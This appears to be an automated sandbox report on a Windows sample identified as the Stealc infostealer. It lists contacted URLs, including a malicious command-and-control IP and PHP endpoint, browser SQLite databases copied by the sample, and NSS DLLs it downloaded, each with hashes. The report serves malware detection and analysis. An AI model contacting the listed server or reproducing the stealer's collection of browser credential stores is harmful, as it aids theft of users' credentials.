https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp, EHDHIDAEHCFHJJJJECAA.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	ECFCBKJDBFIJKFHIIDAAKKKKFC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php.	file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2238391716.00000000017F6000.00000004.00000020.00020000.00000000.sdmp, BFHIJEBK.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp, EHDHIDAEHCFHJJJJECAA.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp, EHDHIDAEHCFHJJJJECAA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllaQ	file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	ECFCBKJDBFIJKFHIIDAAKKKKFC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php7	file.exe, 00000000.00000002.2372959579.0000000001797000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp, EHDHIDAEHCFHJJJJECAA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php_8	file.exe, 00000000.00000002.2372959579.0000000001797000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpwser	file.exe, 00000000.00000002.2372959579.00000000017C2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp, EHDHIDAEHCFHJJJJECAA.0.dr	false		unknown
https://support.mozilla.org	ECFCBKJDBFIJKFHIIDAAKKKKFC.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2238391716.00000000017F6000.00000004.00000020.00020000.00000000.sdmp, BFHIJEBK.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528875
Start date and time:	2024-10-08 11:17:13 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 79 Number of non-executed functions: 109
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, 6.0.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.0.3.0.1.3.0.6.2.ip6.arpa, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	7AeSqNv1rC.exe	Get hash	malicious	MicroClip, Vidar	Browse	185.215.113.117
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	20fUAMt5dL.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	7AeSqNv1rC.exe	Get hash	malicious	MicroClip, Vidar	Browse
	VmRHSCaiyc.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	T2bmenoX1o.exe	Get hash	malicious	LummaC, Vidar	Browse
	XQywAEbb9e.exe	Get hash	malicious	Stealc, Vidar	Browse
	c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	20fUAMt5dL.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	7AeSqNv1rC.exe	Get hash	malicious	MicroClip, Vidar	Browse
	VmRHSCaiyc.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	T2bmenoX1o.exe	Get hash	malicious	LummaC, Vidar	Browse
	XQywAEbb9e.exe	Get hash	malicious	Stealc, Vidar	Browse
	c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFHIJEBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGDBFBFCBFBKECAAKJKFBAEBGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECFCBKJDBFIJKFHIIDAAKKKKFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHDHIDAEHCFHJJJJECAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GDHDHJEBGHJKFIECBGCBGCAFII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJJJKEGHJKFHJKFHDHCF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KEBKJDBAAKJDGCBFHCFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFCAFIID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKFCFBKFCFBFIDGCGDHJDBKFHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 20fUAMt5dL.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 7AeSqNv1rC.exe, Detection: malicious, Browse Filename: VmRHSCaiyc.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: T2bmenoX1o.exe, Detection: malicious, Browse Filename: XQywAEbb9e.exe, Detection: malicious, Browse Filename: c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 20fUAMt5dL.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 7AeSqNv1rC.exe, Detection: malicious, Browse Filename: VmRHSCaiyc.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: T2bmenoX1o.exe, Detection: malicious, Browse Filename: XQywAEbb9e.exe, Detection: malicious, Browse Filename: c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

